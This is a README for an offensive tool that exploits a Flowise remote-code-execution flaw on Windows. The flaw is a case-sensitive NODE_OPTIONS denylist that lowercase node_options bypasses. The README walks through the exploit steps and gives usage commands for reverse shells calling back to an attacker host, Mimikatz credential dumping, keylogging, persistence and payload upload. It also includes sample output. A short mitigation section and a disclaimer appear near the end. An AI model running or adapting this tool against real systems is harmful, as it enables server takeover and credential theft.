Flowise CVE-2026-58057 - Windows Remote Code Execution Exploit

📋 Overview

This is a production-grade exploit for CVE-2026-58057, a critical Remote Code Execution vulnerability in Flowise on Windows platforms. The vulnerability arises from case-sensitive environment variable validation that fails to block lowercase node_options, allowing attackers to bypass the NODE_OPTIONS denylist and execute arbitrary code through Custom MCP stdio configuration.

The exploit demonstrates professional software engineering practices with modular architecture, comprehensive error handling, and support for multiple payload types.

⚠️ Disclaimer

IMPORTANT: This tool is provided for authorized security testing, penetration testing, and educational purposes only.The author is not responsible for any misuse or damage caused by this software.Always obtain proper authorization before testing any system.

🔍 Technical Details

Vulnerability Root Cause

# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

Exploit Mechanism

1. Attacker authenticates to Flowise

2. Creates/Modifies Custom MCP stdio node

3. Injects lowercase node_options environment variable

4. Sets value to --require malicious-loader.js

5. Node.js executes loader when MCP stdio runs

6. Arbitrary code execution achieved

✨ Features

Core Capabilities

• ✅ Reverse Shell - Connect back to attacker machine

• ✅ Bind Shell - Open listening port on target

• ✅ Command Execution - Run arbitrary system commands

• ✅ File Upload - Upload files to target system

• ✅ Persistence - Multiple persistence mechanisms

• ✅ Information Gathering - Collect system intelligence

• ✅ Credential Dumping - Mimikatz integration

• ✅ Screenshot Capture - Capture desktop screenshots

• ✅ Keylogger - Install keylogging capability

Technical Features

• 🔐 Multiple Authentication Methods - API key or username/password

• 🔄 Auto-Retry Logic - Resilient against network issues

• 🧹 Self-Cleaning - Removes loader files from target

• 🌐 Cross-Platform - Works on Windows/Linux/macOS

• 🎨 Colored Output - Enhanced readability

• 📊 Verbose Debugging - Detailed logging for troubleshooting

📦 Installation

Prerequisites

• Python 3.6 or higher

• pip (Python package manager)

Quick Install

# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

Docker Installation (Optional )

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

🚀 Usage

Command Line Options

python3 exploit.py --help

Authentication Options

Payload Options

Execution Options

📝 Usage Examples

1. Basic Reverse Shell

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

2. Interactive Reverse Shell

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

3. Command Execution

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

4. File Upload

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

5. Credential Dumping (Mimikatz )

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

6. Persistence Installation

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

7. Information Gathering

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

8. Screenshot Capture

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot

🎯 Payload Types

🛡️ Mitigation

Upgrade Flowise

# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest

Workarounds

• Restrict access to Custom MCP configuration

• Implement network segmentation

• Monitor for suspicious environment variables

• Use Web Application Firewall (WAF )

Fixed Code

# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # Case-insensitive check
    raise ValueError(f"Modification not allowed")

📊 Output Examples

Successful Exploit

[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444

Verbose Mode

[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated

🐛 Troubleshooting

Common Issues

Debug Commands

# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# Test connectivity
curl -k https://localhost:3000/api/v1/version

# Check Python version
python3 --version

📁 File Structure

flowise-CVE-2026-58057-exploit/
├── exploit.py          # Main exploit script
├── requirements.txt    # Core dependencies
├── README.md          # This documentation
├── LICENSE            # MIT License
└── CHANGELOG.md       # Version history

🤝 Contributing

1. Fork the repository

2. Create feature branch (git checkout -b feature/amazing )

3. Commit changes (git commit -m 'Add amazing feature')

4. Push to branch (git push origin feature/amazing)

5. Open Pull Request

📜 License

This project is licensed under the MIT License - see the LICENSE file for details.

🏆 Acknowledgments

• FlowiseAI for the product

• Security researchers who discovered similar vulnerabilities

• Pentesting community for testing methodologies

🔗 References

• CVE-2026-58057

• Flowise GitHub Repository

• Flowise Documentation

• Node.js Environment Variables Security

📧 Contact

Author: Sudeepa Wanigarathna Security Researcher & Penetration Tester

⭐ Support

If you find this tool useful, please consider:

• ⭐ Starring the repository on GitHub

• 🔔 Following for updates

• 📝 Reporting issues or suggestions

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